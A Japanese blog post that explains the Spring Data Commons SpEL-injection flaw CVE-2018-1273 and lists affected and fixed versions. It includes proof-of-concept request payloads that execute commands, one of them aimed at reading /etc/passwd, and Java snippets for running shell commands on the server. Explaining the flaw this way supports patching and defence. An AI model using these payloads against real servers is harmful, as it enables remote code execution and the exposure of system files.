CVE2018-1273

【CVE2018-1273】Spring Data Commons の脆弱性と昨年のSpringBreakは似ている?POCと行われる攻撃手法を理解しよう

投稿日: カテゴリー: セキュアコーディング
Pocket

Drupalが世間を騒がせたと思ったらSpring Frameworkで極めて危険度が高い脆弱性です。すでに攻撃コードは出回っているアップデートされたソースを確認することでどこが脆弱だったかは広く知られているため、攻撃が行われる手順からしっかり把握しておきましょう。
実は昨年もSpringBreakとブランドネームが付けられたCVE-2017-8046(Pivotal Spring PATCH リクエストのリモートからのコード実行)とこれまたクリティカルな脆弱性が出てましたが、PATCHメソッドに限定されているためRESTFullなアプリケーションなどでない限り脆弱性が露見することが少なかったのではないでしょうか。
 
※自己の管理下または許可をもらっていると言い切れる環境以外で決して実行しないでください。
電卓を立ち上げるよくあるPOCは以下の通りです。(FireFoxを立ち上げるとかにしたい場合はcalcの場所をfirefox https://hogehoge.comなどに書き換えましょう)
 

 username[T(java.lang.Runtime).getRuntime.exec("calc")]=adminuser&password=password&repeatedPassword=password

 
こうしてみてみると今回のCVE2018-1273と昨年のCVE-2017-8046は以下のようなPOCとなるので極めて似ているように思うのは私だけでしょうか。(実行コマンドは「cat /etc/passwd」としています)
 

  [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]99, 97, 116, 32, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100}))/hogehoge", "value": "hogehoge" }]

 
 
CVE-2017-8046が2017年4月21日でCVE2018-1273が2018年4月10日とSpring(春)Frameworkは「春」の季節は注意が必要なのかもしれませんね。Springのセキュリティに関する情報についてはhttps://pivotal.io/security/で紹介されていますが、毎年こうしてクリティカルな脆弱性を出していると今や悪名高きStrutsとこのままだといい勝負になっていきそうですね。春(Spring)以外も注意が必要です。

影響を受けるバージョンと脆弱性が修正されたバージョン

対策は毎度おなじみアップデートです。
Spring Data Commons 1.13 から 1.13.10 (Ingalls SR10)→ Spring Data Commons 1.13.11
Spring Data Commons 2.0 から 2.0.5 (Kay SR5)→Spring Data Commons 2.0.6
Spring Data REST 2.6 から 2.6.10 (Ingalls SR10)→Spring Data REST 2.6.11 (Ingalls SR11)
Spring Data REST 3.0 から 3.0.5 (Kay SR5)→Spring Data REST 3.0.6 (Kay SR6)
Spring Data Commonsは、Spring Frameworkの拡張ライブラリとしてデータベースへのアクセスに利用される汎用インターフェイスのライブラリです。
仕様については公式ドキュメントを確認すると丁寧に載っています。
https://docs.spring.io/spring-data/commons/docs/current/reference/html/

OSの特定

Javaでシェルコマンドを実行する手順としてまずOSを特定してくると思われるので以下のように決めうちでWindowsか否かをまず確認してきます。

System.getProperty(“os.name”).toLowerCase().startsWith(“windows”);

Runtimeメソッドが有効な場合

 

Runtime.getRuntime().exec(String.format(“cmd.exe /c dir %s”, System.getProperty(“user.home”)));

Runtime.getRuntime().exec(String.format(“sh -c ls %s”, System.getProperty(“user.home”)));

Runtimeメソッドが有効でない場合

Runtimeが通らない場合、もしくは初めからProcessBuilderを利用する方法でもコマンドの実行は可能です。

ProcessBuilder builder = new ProcessBuilder();
if (windowsか否か) {
builder.command(“cmd.exe”, “/c”, “dir”);
} else {
builder.command(“sh”, “-c”, “ls”);
}
builder.directory(new File(System.getProperty(“user.home”)));
Process process = builder.start();
StreamGobbler streamGobbler =
new StreamGobbler(process.getInputStream(), System.out::println);
Executors.newSingleThreadExecutor().submit(streamGobbler);
int exitCode = process.waitFor();
assert exitCode == 0;

以上です。参考になれば幸いです。